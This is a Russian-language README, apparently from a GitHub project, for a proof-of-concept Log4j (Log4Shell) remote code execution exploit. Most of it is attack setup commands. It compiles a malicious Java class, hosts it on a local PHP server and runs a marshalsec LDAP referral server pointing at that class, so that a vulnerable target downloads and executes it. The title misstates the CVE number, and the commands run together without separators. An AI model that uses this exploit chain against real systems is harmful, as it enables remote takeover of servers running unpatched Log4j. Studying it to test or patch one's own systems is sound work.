
PoC RCE Log4j CVE-2021-4428 для тестирования
Скомпилируйте Log4jRCE.java и переместите файл .class на веб-сервер (например, локальный PHP)
cd src/main/javajavac Log4jRCE.javaphp -S 127.0.0.1:8888Запустите LDAP-сервер
git clone [email protected]:Grupo-Kapa-7/marshalsec.gitcd marshalsecmvn clean package -DskipTestsjava -cp target/marshalsec-0.0.3-SNAPSHOT-GK7Threats-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"Чтобы протестировать PoC, измените файл src/main/java/log4j.java и замените URL LDAP-сервера на свой.
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce